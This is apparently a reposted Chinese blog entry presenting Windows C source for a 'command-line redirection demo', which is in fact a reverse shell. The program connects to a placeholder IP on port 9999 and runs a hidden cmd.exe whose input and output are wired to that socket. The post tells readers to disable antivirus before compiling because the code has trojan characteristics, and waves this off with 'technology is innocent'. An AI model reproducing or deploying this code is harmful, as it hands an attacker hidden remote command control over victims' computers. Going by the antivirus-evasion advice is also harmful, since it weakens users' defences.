Winsocket 命令行重定向Demo

来源：互联网发布：华为的波士顿矩阵分析编辑：程序博客网时间：2024/05/09 17:50

编译前要关闭杀毒软件，否则可能被杀。因为这个程序有木马特征，但技术是无罪的。

#include <stdio.h>#include <Winsock2.h>#pragma comment (lib,"ws2_32.lib")int main() {WSADATA data;WSAStartup(MAKEWORD(2, 2), &data);SOCKET s;SOCKADDR_IN sin;TCHAR cmdPath[MAX_PATH] = { 0 };GetEnvironmentVariable(L"COMSPEC", cmdPath, MAX_PATH);s = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, NULL, NULL);sin.sin_addr.S_un.S_addr = inet_addr("xxx.xxx.xxx.xxx");sin.sin_family = AF_INET;sin.sin_port = htons(9999);int size = sizeof(sin);bind(s, (SOCKADDR*)&sin, size);PROCESS_INFORMATION pro;STARTUPINFO upinfo;ZeroMemory(&pro, sizeof(PROCESS_INFORMATION));ZeroMemory(&upinfo, sizeof(STARTUPINFO));upinfo.cb = sizeof(STARTUPINFO);upinfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;upinfo.wShowWindow = SW_HIDE;upinfo.hStdInput = (HANDLE)s;upinfo.hStdOutput = (HANDLE)s;upinfo.hStdError = (HANDLE)s;connect(s, (SOCKADDR*)&sin, size);CreateProcess(NULL, cmdPath, NULL, NULL, TRUE, 0, NULL, NULL, &upinfo, &pro);WaitForSingleObject(pro.hProcess, INFINITE);CloseHandle(pro.hProcess);CloseHandle(pro.hThread);closesocket(s);WSACleanup();system("pause");return 0;}

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